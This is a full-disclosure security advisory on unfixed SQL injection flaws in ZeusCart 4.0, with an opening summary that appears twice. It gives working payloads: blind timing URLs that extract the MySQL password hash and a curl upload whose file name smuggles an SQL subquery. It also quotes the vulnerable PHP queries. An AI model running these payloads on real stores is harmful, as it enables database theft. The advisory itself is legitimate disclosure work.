ZeusCart 4.0: SQL Injection Security Advisory – Curesec Research Team 1. Introduction Affected Product: ZeusCart 4.0 Fixed in: not fixed Fixed Version Link: n/a Vendor Contact: support@zeuscart.com Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 08/13/2015 Disclosed to public: 09/14/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description There are at least two SQL Injections in ZeusCart 4.0, one being a blind injection which does not require credentials to be exploited, the other being a standard injection in the admin area. Because the prevention of SQL Injection depends to a large part on applying simple filters on most input instead of using prepared stamements, it is highly likely that there will be more SQL injection vulnerabilities that are not covered here. 3. Timing based Blind SQL Injection There is a blind timing based SQL injection into the maincatid argument. An attacker does not need to be...
ZeusCart 4.0: SQL Injection Security Advisory – Curesec Research Team 1. Introduction Affected Product: ZeusCart 4.0 Fixed in: not fixed Fixed Version Link: n/a Vendor Contact: support@zeuscart.com Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 08/13/2015 Disclosed to public: 09/14/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description There are at least two SQL Injections in ZeusCart 4.0, one being a blind injection which does not require credentials to be exploited, the other being a standard injection in the admin area. Because the prevention of SQL Injection depends to a large part on applying simple filters on most input instead of using prepared stamements, it is highly likely that there will be more SQL injection vulnerabilities that are not covered here. 3. Timing based Blind SQL Injection There is a blind timing based SQL injection into the maincatid argument. An attacker does not need to be authenticated to exploit this. Proof Of Concept http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1 AND IF(SUBSTRING(version(), 1, 1)=5,BENCHMARK(500000000,version()),null) -> true http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1 AND IF(SUBSTRING(version(), 1, 1)=4,BENCHMARK(500000000,version()),null) -> false Please note that there is a bug when displaying featured items, so this will display an error message or show a blank page. The timing difference is still present, and can thus be exploited, but content based exploitation is not possible because of this. Also note that quotes may not be used in the payload, as quotes are sanitized. It is still possible to extract data: http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1 AND IF(ascii(substring((SELECT password from mysql.user limit 0,1),1,1))=42,BENCHMARK(500000000,version()),null) -> true, password hash starts with * Code ``` /classes/Core/CFeaturedItems.php:52 $maincatid = $_GET['maincatid']; [...] $sql = "SELECT DISTINCT a.category_name AS Category,a.category_id AS maincatid, b.category_name AS SubCategory, b.category_id as subcatid, b.category_image AS image FROM category_table a INNER JOIN category_table b ON a.category_id = b.category_parent_id WHERE b.category_parent_id=".$maincatid." AND b.category_status=1 "; ``` 4. SQL Injection in Admin Area All GET, POST, and REQUEST input is sanitized via filter_var($value, FILTER_SANITIZE_STRING), which offers some protection against SQL injection and XSS, but is not recommended as only defense. For many queries, there is no further defense via escaping or prepared statements. This makes all queries that get their data from different sources than GET, POST, and REQUEST - such as FILES -, and all queries containing unquoted parameters - such as seen in the blind injection above - vulnerable. Proof Of Concept The steps to reproduce this issue are as following Log in as admin Create a new product, using a file name for ufile[0] like: "image.jpgblla', description=(SELECT password FROM mysql.user limit 0,1), image='test Visiting http://localhost/zeuscart-master/admin/index.php?do=aprodetail&action=showprod&prodid=PRODUCTID will give the result of the injected query. Curl command to create a new product: ``` curl -i -s -k -X 'POST' \ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0' -H 'DNT: 1' -H 'Content-Type: multipart/form-data; boundary=--------2025782171' \ -b 'PHPSESSID=hsa73tae4bq4ev381430dbfif0' \ --data-binary $'----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0aChoose Category\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0a25\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"product_title\"\x0d\x0a\x0d\x0aMYTESTPRODUCT2\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"sku\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"txtweight\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"ufile[0]\"; filename=\"image.jpgblla\', description=(SELECT password FROM mysql.user limit 0,1), image=\'test\"\x0d\x0aContent-Type: image/jpeg\x0d\x0a\x0d\x0acontent\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"price\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"msrp_org\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition: form-data; name=\"soh\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171--\x0d\x0a' \ 'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert' ``` Code CProductEntry.php:313 ``` $imgfilename= $_FILES['ufile']['name'][$i]; $imagefilename = date("Y-m-d-His").$imgfilename ; // generate a new name $image="images/products/". $imagefilename; // updated into DB [...] if($i==0) { $imgType='main'; $update="UPDATE products_table set image='$image',thumb_image='$thumb_image',large_image_path='$large_image' where product_id='".$product_id."'"; $obj->updateQuery($update); } else { $imgType='sub'; } if($_FILES['ufile']['name'][$i]!='') { $query_img="INSERT INTO product_images_table(product_id,image_path,thumb_image_path,type,large_image_path) VALUES('".$product_id."','$image','$thumb_image','$imgType','$large_image')"; $obj_img=new Bin_Query(); $obj_img->updateQuery($query_img); } } ``` 5. Solution This issue was not fixed by the vendor. 6. Report Timeline 08/13/2015 Informed Vendor about Issue (no reply) 09/07/2015 Reminded Vendor of release date (no reply) 09/14/2015 Disclosed to public 7. Blog Reference: http://blog.curesec.com/article/blog/ZeusCart-40-SQL-Injection-56.html
